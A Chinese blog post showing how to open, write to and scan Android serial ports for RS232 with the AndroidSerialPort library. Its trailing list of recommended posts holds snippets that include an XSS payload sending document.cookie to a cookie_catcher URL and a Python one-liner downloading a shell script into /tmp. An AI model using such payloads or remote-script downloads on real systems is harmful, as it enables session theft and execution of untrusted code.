一、 添加依赖
dependencies {
implementation 'com.github.kongqw:AndroidSerialPort:1.0.1'
} 二、 使用方法
package com.bug01.tryserial;

import com.kongqw.serialportlibrary.SerialPortManager;
import com.kongqw.serialportlibrary.listener.OnOpenSerialPortListener;
import com.kongqw.serialportlibrary.listener.OnSerialPortDataListener; import java.io.File; public class SerialUtil {
private SerialPortManager mSerialPortManager = new SerialPortManager();
private static SerialUtil instance = null; // 此处使用单例模式
public static SerialUtil getInstance() {
if (instance == null) {
synchronized (SerialUtil.class) {
if (instance == null) {
instance = new SerialUtil();
instance.mSerialPortManager.setOnSerialPortDataListener(instance.onSerialPortDataListener);
instance.mSerialPortManager.setOnOpenSerialPortListener(instance.onOpenSerialPortListener);
}
}
}
return instance;
} private OnSerialPortDataListener onSerialPortDataListener = new OnSerialPortDataListener() {
@Override
public void onDataReceived(byte[] bytes) {
System.out.println("收到了数据。");
} @Override
public void onDataSent(byte[] bytes) {
System.out.println("发送了数据。");
}
}; private OnOpenSerialPortListener onOpenSerialPortListener = new OnOpenSerialPortListener() {
@Override
public void onSuccess(File device) {
System.out.println("链接" + device.getName() +"成功");
} @Override
public void onFail(File device, Status status) {
System.out.println("链接" + device.getName() +"失败");
}
}; /**
* 链接串口
* @return
*/
public boolean Connect() {
return Connect("ttysWK1");
} /**
* 链接串口
* @param PortName 设备节点名称
* @return
*/
public boolean Connect(String PortName) {
return mSerialPortManager.openSerialPort(new File("dev/" + PortName), 9600);
} /**
* 写入数据
* @param val
*/
public void write(String val) {
mSerialPortManager.sendBytes(val.getBytes());
} public void write(byte[] val) {
mSerialPortManager.sendBytes(val);
}
}

后面我想了一下,有可能会有人不知道自己用的是哪个节点,那你就遍历出来,挨个测试一下。

遍历串口测试代码:

    public void trySerialTest() {
SerialPortFinder serialPortFinder = new SerialPortFinder();
SerialPortManager mSerialPortManager;
ArrayList<Device> devices = serialPortFinder.getDevices();
System.out.println("获取到节点数量为:" + devices.size());
Device device = null;
mSerialPortManager = new SerialPortManager(); mSerialPortManager.setOnSerialPortDataListener(new OnSerialPortDataListener() {
@Override
public void onDataReceived(byte[] bytes) {
System.out.println("收到数据");
} @Override
public void onDataSent(byte[] bytes) {
}
}); mSerialPortManager.setOnOpenSerialPortListener(new OnOpenSerialPortListener() {
@Override
public void onSuccess(File device) {
System.out.print("串口链接成功,节点为:");
System.out.println(device.getName());//打印节点ID
} @Override
public void onFail(File device, Status status) {
System.out.print("串口链接失败,节点为:");
System.out.println(device.getName() + status);
}
}); for (Device dev : devices
) {
boolean openSerialPort = mSerialPortManager.openSerialPort(dev.getFile(), 9600);
if (openSerialPort) {
mSerialPortManager.sendBytes("send something".getBytes()); try {
Thread.sleep(3000);//给点时间用来接收
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} System.out.println("结束测试");
mSerialPortManager.closeSerialPort();
}

RS232通信(Android)的更多相关文章

  1. NSK DD马达 直驱电机 RS232通信连接

    NSK DD马达 通信连接 通信测试平台 驱动器:NSK EDC系列 电机:NSK PS1006KN系列 电机线:UVW对应红白黑. 电源线:Main和Ctrl电路220V交流电供电即可. 测试软件: ...

  2. RS-232通信原理

    rs232串口通信原理 串口是计算机上一种非常通用设备通信的协议(不要与通用串行总线Universal Serial Bus或者USB混淆).大多数计算机包含两个基于RS232的串口.串口同时也是仪器 ...

  3. Android 使用Socket进行通信(Android)

    一.服务器程序 服务器程序需要在PC上运行,该程序比较的简单,因此不需要建立Android项目,直接定义一个JAVA类,并且运行该类即可.它仅仅建立ServerSocket监听,并使用Socket获取 ...

  4. 和socket、rs232通信遇到的糟糕问题。备查!

    procedure Tfrm_FoldingCloth.btn1Click(Sender: TObject); var SND:array of byte; begin if Not cnrs232. ...

  5. Socket 通信原理(Android客户端和服务器以TCP&&UDP方式互通)

    转载地址:http://blog.csdn.net/mad1989/article/details/9147661 ZERO.前言 有关通信原理内容是在网上或百科整理得到,代码部分为本人所写,如果不当 ...

  6. 基于android的Socket通信

    一.Socket通信简介 Android与服务器的通信方式主要有两种,一是Http通信,一是Socket通信.两者的最大差异在于,http连接使用的是“请求—响应方式”,即在请求时建立连接通道,当客户 ...

  7. 【朝花夕拾】Android性能篇之(七)Android跨进程通信篇

    前言 只要是面试高级工程师岗位,Android跨进程通信就是最受面试官青睐的知识点之一.Android系统的运行由大量相互独立的进程相互协助来完成的,所以Android进程间通信问题,是做好Andro ...

  8. Android中线程通信的方式

    Android 跨线程通信 android 中是不允许在主线程中进行 网络访问等事情的因为UI如果停止响应5秒左右的话整个应用就会崩溃,到Android4.0 以后 Google强制规定,与网络相关的 ...

  9. Android Socket通信详解

    一.Socket通信简介  Android与服务器的通信方式主要有两种,一是Http通信,一是Socket通信.两者的最大差异在于,http连接使用的是“请求—响应方式”,即在请求时建立连接通道,当客 ...

随机推荐

  1. Windows安装activemq

    1.Windows下载解压就可以了,官网:http://activemq.apache.org/ 8161查看端口 61616消息服务端口 2.浏览器访问localhost:8161测试 3.可以在c ...

  2. 饮冰三年-人工智能-Python-19 Python网络编程

    Socket:套接字.作用:我们只需要安照socket的规定去编程,就不需要深入理解tcp/udp协议也可以实现 1:TCP协议 1.1  客户端服务端循环收发消息 # 1:引入stock模块(导包) ...

  3. 单元测试如何覆盖internal的方法

    在类的设计中经常会有类或者方法要设置成private或者internal等方式,在使用中这么做无可厚非,但是对单元测试的影响也颇大 对于private方法,那只有做一个副本然后改成internal或p ...

  4. ionic2中使用极光IM的WebSDK实现即时聊天

    本文主要介绍如何在ionic项目中集成极光IM的WebSDK,详细文档可参考官方介绍. 一.准备 1. 注册激光账号,进入开发者服务页面创建应用. 2. 创建应用后须完成对应平台的推送设置,进行应用或 ...

  5. Linux安装Tomcat-Nginx-FastDFS-Redis-Solr-集群——【第九集-补充-之安装mariadb】

    由于也是第一次安装,再此不必献丑了,贴上参考链接: 1,指导我为什么使用mariadb而不是用mysql:https://blog.csdn.net/liumiaocn/article/details ...

  6. nodejs入门篇之linux版的nodejs简易环境安装部署

    第一步:下载二进制安装包 根据linux的不同版本选择32位或64位,因为我的linux的虚拟机是64位的,所以我选择的是64位二进制安装文件(Linux Binariesx64),可以右键选择在新窗 ...

  7. 使用Python下载文件

    python -c "with open('/tmp/file.sh', 'wb') as f: import urllib2; f.write(urllib2.urlopen('http: ...

  8. xsspayload

    元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...

  9. pip命令出现了问题,提示说找不到ssl模块

    Could not find a version that satisfies the requirement pygame (from versions: ) No matching distrib ...

  10. 07-Python入门学习-字符编码与文件处理

    字符编码 人操作计算机使用人类认识的字符,而计算机存放都是二进制数字所以人在往计算机里输入内容的时候,必然发生: 人类的字符------(字符编码表)-------->数字 比如我输入一个‘上’ ...